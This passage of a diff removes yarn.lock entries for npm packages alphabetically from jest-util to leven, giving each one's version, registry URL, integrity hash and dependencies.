-jest-util@^24.0.0, jest-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-24.9.0.tgz#7396814e48536d2e85a37de3e4c431d7cb140162"
-  integrity sha512-x+cZU8VRmOJxbA1K5oDBdxQmdq0OIdADarLxk0Mq+3XS4jgvhG/oKGWcIDCtPG0HgjxOYvF+ilPJQsAyXfbNOg==
-  dependencies:
-    "@jest/console" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/source-map" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    callsites "^3.0.0"
-    chalk "^2.0.1"
-    graceful-fs "^4.1.15"
-    is-ci "^2.0.0"
-    mkdirp "^0.5.1"
-    slash "^2.0.0"
-    source-map "^0.6.0"
-
-jest-validate@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-24.9.0.tgz#0775c55360d173cd854e40180756d4ff52def8ab"
-  integrity sha512-HPIt6C5ACwiqSiwi+OfSSHbK8sG7akG8eATl+IPKaeIjtPOeBUd/g3J7DghugzxrGjI93qS/+RPKe1H6PqvhRQ==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    camelcase "^5.3.1"
-    chalk "^2.0.1"
-    jest-get-type "^24.9.0"
-    leven "^3.1.0"
-    pretty-format "^24.9.0"
-
-jest-watch-typeahead@0.4.2:
-  version "0.4.2"
-  resolved "https://registry.yarnpkg.com/jest-watch-typeahead/-/jest-watch-typeahead-0.4.2.tgz#e5be959698a7fa2302229a5082c488c3c8780a4a"
-  integrity sha512-f7VpLebTdaXs81rg/oj4Vg/ObZy2QtGzAmGLNsqUS5G5KtSN68tFcIsbvNODfNyQxU78g7D8x77o3bgfBTR+2Q==
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^2.4.1"
-    jest-regex-util "^24.9.0"
-    jest-watcher "^24.3.0"
-    slash "^3.0.0"
-    string-length "^3.1.0"
-    strip-ansi "^5.0.0"
-
-jest-watcher@^24.3.0, jest-watcher@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-24.9.0.tgz#4b56e5d1ceff005f5b88e528dc9afc8dd4ed2b3b"
-  integrity sha512-+/fLOfKPXXYJDYlks62/4R4GoT+GU1tYZed99JSCOsmzkkF7727RqKrjNAxtfO4YpGv11wybgRvCjR73lK2GZw==
-  dependencies:
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/yargs" "^13.0.0"
-    ansi-escapes "^3.0.0"
-    chalk "^2.0.1"
-    jest-util "^24.9.0"
-    string-length "^2.0.0"
-
-jest-worker@^24.6.0, jest-worker@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5"
-  integrity sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw==
-  dependencies:
-    merge-stream "^2.0.0"
-    supports-color "^6.1.0"
-
-jest-worker@^25.4.0:
-  version "25.5.0"
-  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-25.5.0.tgz#2611d071b79cea0f43ee57a3d118593ac1547db1"
-  integrity sha512-/dsSmUkIy5EBGfv/IjjqmFxrNAUpBERfGs1oHROyD7yxjG/w+t0GOJDX8O1k32ySmd7+a5IhnJU2qQFcJ4n1vw==
-  dependencies:
-    merge-stream "^2.0.0"
-    supports-color "^7.0.0"
-
-jest@24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest/-/jest-24.9.0.tgz#987d290c05a08b52c56188c1002e368edb007171"
-  integrity sha512-YvkBL1Zm7d2B1+h5fHEOdyjCG+sGMz4f8D86/0HiqJ6MB4MnDc8FgP5vdWsGnemOQro7lnYo8UakZ3+5A0jxGw==
-  dependencies:
-    import-local "^2.0.0"
-    jest-cli "^24.9.0"
-
-jmespath@0.15.0:
-  version "0.15.0"
-  resolved "https://registry.yarnpkg.com/jmespath/-/jmespath-0.15.0.tgz#a3f222a9aae9f966f5d27c796510e28091764217"
-  integrity sha1-o/Iiqarp+Wb10nx5ZRDigJF2Qhc=
-
-js-sha3@0.5.7:
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/js-sha3/-/js-sha3-0.5.7.tgz#0d4ffd8002d5333aabaf4a23eed2f6374c9f28e7"
-  integrity sha1-DU/9gALVMzqrr0oj7tL2N0yfKOc=
-
-js-sha3@0.8.0, js-sha3@^0.8.0:
-  version "0.8.0"
-  resolved "https://registry.yarnpkg.com/js-sha3/-/js-sha3-0.8.0.tgz#b9b7a5da73afad7dedd0f8c463954cbde6818840"
-  integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==
-
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
-  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
-
-js-tokens@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
-
-js-yaml@^3.13.1:
-  version "3.14.1"
-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
-  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
-  dependencies:
-    argparse "^1.0.7"
-    esprima "^4.0.0"
-
-jsbi@^3.1.1:
-  version "3.1.4"
-  resolved "https://registry.yarnpkg.com/jsbi/-/jsbi-3.1.4.tgz#9654dd02207a66a4911b4e4bb74265bc2cbc9dd0"
-  integrity sha512-52QRRFSsi9impURE8ZUbzAMCLjPm4THO7H2fcuIvaaeFTbSysvkodbQQXIVsNgq/ypDbq6dJiuGKL0vZ/i9hUg==
-
-jsbn@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
-jsdom@^11.5.1:
-  version "11.12.0"
-  resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-11.12.0.tgz#1a80d40ddd378a1de59656e9e6dc5a3ba8657bc8"
-  integrity sha512-y8Px43oyiBM13Zc1z780FrfNLJCXTL40EWlty/LXUtcjykRBNgLlCjWXpfSPBl2iv+N7koQN+dvqszHZgT/Fjw==
-  dependencies:
-    abab "^2.0.0"
-    acorn "^5.5.3"
-    acorn-globals "^4.1.0"
-    array-equal "^1.0.0"
-    cssom ">= 0.3.2 < 0.4.0"
-    cssstyle "^1.0.0"
-    data-urls "^1.0.0"
-    domexception "^1.0.1"
-    escodegen "^1.9.1"
-    html-encoding-sniffer "^1.0.2"
-    left-pad "^1.3.0"
-    nwsapi "^2.0.7"
-    parse5 "4.0.0"
-    pn "^1.1.0"
-    request "^2.87.0"
-    request-promise-native "^1.0.5"
-    sax "^1.2.4"
-    symbol-tree "^3.2.2"
-    tough-cookie "^2.3.4"
-    w3c-hr-time "^1.0.1"
-    webidl-conversions "^4.0.2"
-    whatwg-encoding "^1.0.3"
-    whatwg-mimetype "^2.1.0"
-    whatwg-url "^6.4.1"
-    ws "^5.2.0"
-    xml-name-validator "^3.0.0"
-
-jsdom@^14.1.0:
-  version "14.1.0"
-  resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-14.1.0.tgz#916463b6094956b0a6c1782c94e380cd30e1981b"
-  integrity sha512-O901mfJSuTdwU2w3Sn+74T+RnDVP+FuV5fH8tcPWyqrseRAb0s5xOtPgCFiPOtLcyK7CLIJwPyD83ZqQWvA5ng==
-  dependencies:
-    abab "^2.0.0"
-    acorn "^6.0.4"
-    acorn-globals "^4.3.0"
-    array-equal "^1.0.0"
-    cssom "^0.3.4"
-    cssstyle "^1.1.1"
-    data-urls "^1.1.0"
-    domexception "^1.0.1"
-    escodegen "^1.11.0"
-    html-encoding-sniffer "^1.0.2"
-    nwsapi "^2.1.3"
-    parse5 "5.1.0"
-    pn "^1.1.0"
-    request "^2.88.0"
-    request-promise-native "^1.0.5"
-    saxes "^3.1.9"
-    symbol-tree "^3.2.2"
-    tough-cookie "^2.5.0"
-    w3c-hr-time "^1.0.1"
-    w3c-xmlserializer "^1.1.2"
-    webidl-conversions "^4.0.2"
-    whatwg-encoding "^1.0.5"
-    whatwg-mimetype "^2.3.0"
-    whatwg-url "^7.0.0"
-    ws "^6.1.2"
-    xml-name-validator "^3.0.0"
-
-jsesc@^2.5.1:
-  version "2.5.2"
-  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
-  integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==
-
-jsesc@~0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-  integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
-
-json-parse-better-errors@^1.0.1, json-parse-better-errors@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9"
-  integrity sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==
-
-json-parse-even-better-errors@^2.3.0:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
-  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
-
-json-rpc-engine@^5.1.3, json-rpc-engine@^5.3.0:
-  version "5.4.0"
-  resolved "https://registry.yarnpkg.com/json-rpc-engine/-/json-rpc-engine-5.4.0.tgz#75758609d849e1dba1e09021ae473f3ab63161e5"
-  integrity sha512-rAffKbPoNDjuRnXkecTjnsE3xLLrb00rEkdgalINhaYVYIxDwWtvYBr9UFbhTvPB1B2qUOLoFd/cV6f4Q7mh7g==
-  dependencies:
-    eth-rpc-errors "^3.0.0"
-    safe-event-emitter "^1.0.1"
-
-json-rpc-engine@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/json-rpc-engine/-/json-rpc-engine-6.1.0.tgz#bf5ff7d029e1c1bf20cb6c0e9f348dcd8be5a393"
-  integrity sha512-NEdLrtrq1jUZyfjkr9OCz9EzCNhnRyWtt1PAnvnhwy6e8XETS0Dtc+ZNCO2gvuAoKsIn2+vCSowXTYE4CkgnAQ==
-  dependencies:
-    "@metamask/safe-event-emitter" "^2.0.0"
-    eth-rpc-errors "^4.0.2"
-
-json-rpc-random-id@^1.0.0, json-rpc-random-id@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-rpc-random-id/-/json-rpc-random-id-1.0.1.tgz#ba49d96aded1444dbb8da3d203748acbbcdec8c8"
-  integrity sha1-uknZat7RRE27jaPSA3SKy7zeyMg=
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
-
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
-json-stable-stringify-without-jsonify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
-  integrity sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=
-
-json-stable-stringify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af"
-  integrity sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=
-  dependencies:
-    jsonify "~0.0.0"
-
-json-stringify-safe@~5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-  integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
-
-json-text-sequence@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/json-text-sequence/-/json-text-sequence-0.1.1.tgz#a72f217dc4afc4629fff5feb304dc1bd51a2f3d2"
-  integrity sha1-py8hfcSvxGKf/1/rME3BvVGi89I=
-  dependencies:
-    delimit-stream "0.1.0"
-
-json2mq@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/json2mq/-/json2mq-0.2.0.tgz#b637bd3ba9eabe122c83e9720483aeb10d2c904a"
-  integrity sha1-tje9O6nqvhIsg+lyBIOusQ0skEo=
-  dependencies:
-    string-convert "^0.2.0"
-
-json3@^3.3.2:
-  version "3.3.3"
-  resolved "https://registry.yarnpkg.com/json3/-/json3-3.3.3.tgz#7fc10e375fc5ae42c4705a5cc0aa6f62be305b81"
-  integrity sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA==
-
-json5@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
-  integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==
-  dependencies:
-    minimist "^1.2.0"
-
-json5@^2.1.2:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.0.tgz#2dfefe720c6ba525d9ebd909950f0515316c89a3"
-  integrity sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==
-  dependencies:
-    minimist "^1.2.5"
-
-jsonfile@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb"
-  integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonfile@^6.0.1:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
-  integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==
-  dependencies:
-    universalify "^2.0.0"
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonify@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
-  integrity sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=
-
-jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-  dependencies:
-    assert-plus "1.0.0"
-    extsprintf "1.3.0"
-    json-schema "0.2.3"
-    verror "1.10.0"
-
-jsqr@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/jsqr/-/jsqr-1.4.0.tgz#8efb8d0a7cc6863cb6d95116b9069123ce9eb2d1"
-  integrity sha512-dxLob7q65Xg2DvstYkRpkYtmKm2sPJ9oFhrhmudT1dZvNFFTlroai3AWSpLey/w5vMcLBXRgOJsbXpdN9HzU/A==
-
-jsx-ast-utils@^2.2.1, jsx-ast-utils@^2.2.3:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-2.4.1.tgz#1114a4c1209481db06c690c2b4f488cc665f657e"
-  integrity sha512-z1xSldJ6imESSzOjd3NNkieVJKRlKYSOtMG8SFyCj2FIrvSaSuli/WjpBkEzCBoR9bYYYFgqJw61Xhu7Lcgk+w==
-  dependencies:
-    array-includes "^3.1.1"
-    object.assign "^4.1.0"
-
-"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.1.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz#41108d2cec408c3453c1bbe8a4aae9e1e2bd8f82"
-  integrity sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q==
-  dependencies:
-    array-includes "^3.1.2"
-    object.assign "^4.1.2"
-
-just-debounce@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/just-debounce/-/just-debounce-1.1.0.tgz#2f81a3ad4121a76bc7cb45dbf704c0d76a8e5ddf"
-  integrity sha512-qpcRocdkUmf+UTNBYx5w6dexX5J31AKK1OmPwH630a83DdVVUIngk55RSAiIGpQyoH0dlr872VHfPjnQnK1qDQ==
-
-keccak@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/keccak/-/keccak-3.0.1.tgz#ae30a0e94dbe43414f741375cff6d64c8bea0bff"
-  integrity sha512-epq90L9jlFWCW7+pQa6JOnKn2Xgl2mtI664seYR6MHskvI9agt7AnDqmAlp9TqU4/caMYbA08Hi5DMZAl5zdkA==
-  dependencies:
-    node-addon-api "^2.0.0"
-    node-gyp-build "^4.2.0"
-
-keyvaluestorage-interface@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/keyvaluestorage-interface/-/keyvaluestorage-interface-1.0.0.tgz#13ebdf71f5284ad54be94bd1ad9ed79adad515ff"
-  integrity sha512-8t6Q3TclQ4uZynJY9IGr2+SsIGwK9JHcO6ootkHCGA0CrQCRy+VkouYNO2xicET6b9al7QKzpebNow+gkpCL8g==
-
-killable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/killable/-/killable-1.0.1.tgz#4c8ce441187a061c7474fb87ca08e2a638194892"
-  integrity sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg==
-
-kind-of@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-1.1.0.tgz#140a3d2d41a36d2efcfa9377b62c24f8495a5c44"
-  integrity sha1-FAo9LUGjbS78+pN3tiwk+ElaXEQ=
-
-kind-of@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-2.0.1.tgz#018ec7a4ce7e3a86cb9141be519d24c8faa981b5"
-  integrity sha1-AY7HpM5+OobLkUG+UZ0kyPqpgbU=
-  dependencies:
-    is-buffer "^1.0.2"
-
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^5.0.0, kind-of@^5.0.2:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
-kind-of@^6.0.0, kind-of@^6.0.2:
-  version "6.0.3"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-  integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
-
-kleur@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
-  integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
-
-language-subtag-registry@~0.3.2:
-  version "0.3.21"
-  resolved "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz#04ac218bea46f04cb039084602c6da9e788dd45a"
-  integrity sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg==
-
-language-tags@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.5.tgz#d321dbc4da30ba8bf3024e040fa5c14661f9193a"
-  integrity sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=
-  dependencies:
-    language-subtag-registry "~0.3.2"
-
-last-call-webpack-plugin@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz#9742df0e10e3cf46e5c0381c2de90d3a7a2d7555"
-  integrity sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==
-  dependencies:
-    lodash "^4.17.5"
-    webpack-sources "^1.1.0"
-
-last-run@^1.1.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/last-run/-/last-run-1.1.1.tgz#45b96942c17b1c79c772198259ba943bebf8ca5b"
-  integrity sha1-RblpQsF7HHnHchmCWbqUO+v4yls=
-  dependencies:
-    default-resolution "^2.0.0"
-    es6-weak-map "^2.0.1"
-
-lazy-cache@^0.2.3:
-  version "0.2.7"
-  resolved "https://registry.yarnpkg.com/lazy-cache/-/lazy-cache-0.2.7.tgz#7feddf2dcb6edb77d11ef1d117ab5ffdf0ab1b65"
-  integrity sha1-f+3fLctu23fRHvHRF6tf/fCrG2U=
-
-lazy-cache@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/lazy-cache/-/lazy-cache-1.0.4.tgz#a1d78fc3a50474cb80845d3b3b6e1da49a446e8e"
-  integrity sha1-odePw6UEdMuAhF07O24dpJpEbo4=
-
-lazystream@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/lazystream/-/lazystream-1.0.0.tgz#f6995fe0f820392f61396be89462407bb77168e4"
-  integrity sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=
-  dependencies:
-    readable-stream "^2.0.5"
-
-lcid@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/lcid/-/lcid-1.0.0.tgz#308accafa0bc483a3867b4b6f2b9506251d1b835"
-  integrity sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=
-  dependencies:
-    invert-kv "^1.0.0"
-
-lead@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/lead/-/lead-1.0.0.tgz#6f14f99a37be3a9dd784f5495690e5903466ee42"
-  integrity sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=
-  dependencies:
-    flush-write-stream "^1.0.2"
-
-left-pad@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/left-pad/-/left-pad-1.3.0.tgz#5b8a3a7765dfe001261dde915589e782f8c94d1e"
-  integrity sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA==
-
-less-plugin-npm-import@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/less-plugin-npm-import/-/less-plugin-npm-import-2.1.0.tgz#823e6986c93318a98171ca858848b6bead55bf3e"
-  integrity sha1-gj5phskzGKmBccqFiEi2vq1Vvz4=
-  dependencies:
-    promise "~7.0.1"
-    resolve "~1.1.6"
-
-"less@2.6.x || ^3.7.1":
-  version "3.13.1"
-  resolved "https://registry.yarnpkg.com/less/-/less-3.13.1.tgz#0ebc91d2a0e9c0c6735b83d496b0ab0583077909"
-  integrity sha512-SwA1aQXGUvp+P5XdZslUOhhLnClSLIjWvJhmd+Vgib5BFIr9lMNlQwmwUNOjXThF/A0x+MCYYPeWEfeWiLRnTw==
-  dependencies:
-    copy-anything "^2.0.1"
-    tslib "^1.10.0"
-  optionalDependencies:
-    errno "^0.1.1"
-    graceful-fs "^4.1.2"
-    image-size "~0.5.0"
-    make-dir "^2.1.0"
-    mime "^1.4.1"
-    native-request "^1.0.5"
-    source-map "~0.6.0"
-
-level-codec@~7.0.0:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/level-codec/-/level-codec-7.0.1.tgz#341f22f907ce0f16763f24bddd681e395a0fb8a7"
-  integrity sha512-Ua/R9B9r3RasXdRmOtd+t9TCOEIIlts+TN/7XTT2unhDaL6sJn83S3rUyljbr6lVtw49N3/yA0HHjpV6Kzb2aQ==
-
-level-errors@^1.0.3:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/level-errors/-/level-errors-1.1.2.tgz#4399c2f3d3ab87d0625f7e3676e2d807deff404d"
-  integrity sha512-Sw/IJwWbPKF5Ai4Wz60B52yj0zYeqzObLh8k1Tk88jVmD51cJSKWSYpRyhVIvFzZdvsPqlH5wfhp/yxdsaQH4w==
-  dependencies:
-    errno "~0.1.1"
-
-level-errors@~1.0.3:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/level-errors/-/level-errors-1.0.5.tgz#83dbfb12f0b8a2516bdc9a31c4876038e227b859"
-  integrity sha512-/cLUpQduF6bNrWuAC4pwtUKA5t669pCsCi2XbmojG2tFeOr9j6ShtdDCtFFQO1DRt+EVZhx9gPzP9G2bUaG4ig==
-  dependencies:
-    errno "~0.1.1"
-
-level-iterator-stream@~1.3.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/level-iterator-stream/-/level-iterator-stream-1.3.1.tgz#e43b78b1a8143e6fa97a4f485eb8ea530352f2ed"
-  integrity sha1-5Dt4sagUPm+pek9IXrjqUwNS8u0=
-  dependencies:
-    inherits "^2.0.1"
-    level-errors "^1.0.3"
-    readable-stream "^1.0.33"
-    xtend "^4.0.0"
-
-level-ws@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/level-ws/-/level-ws-0.0.0.tgz#372e512177924a00424b0b43aef2bb42496d228b"
-  integrity sha1-Ny5RIXeSSgBCSwtDrvK7QkltIos=
-  dependencies:
-    readable-stream "~1.0.15"
-    xtend "~2.1.1"
-
-levelup@^1.2.1:
-  version "1.3.9"
-  resolved "https://registry.yarnpkg.com/levelup/-/levelup-1.3.9.tgz#2dbcae845b2bb2b6bea84df334c475533bbd82ab"
-  integrity sha512-VVGHfKIlmw8w1XqpGOAGwq6sZm2WwWLmlDcULkKWQXEA5EopA8OBNJ2Ck2v6bdk8HeEZSbCSEgzXadyQFm76sQ==
-  dependencies:
-    deferred-leveldown "~1.2.1"
-    level-codec "~7.0.0"
-    level-errors "~1.0.3"
-    level-iterator-stream "~1.3.0"
-    prr "~1.0.1"
-    semver "~5.4.1"
-    xtend "~4.0.0"
-
-leven@^3.1.0:
-  version "3.1.0"
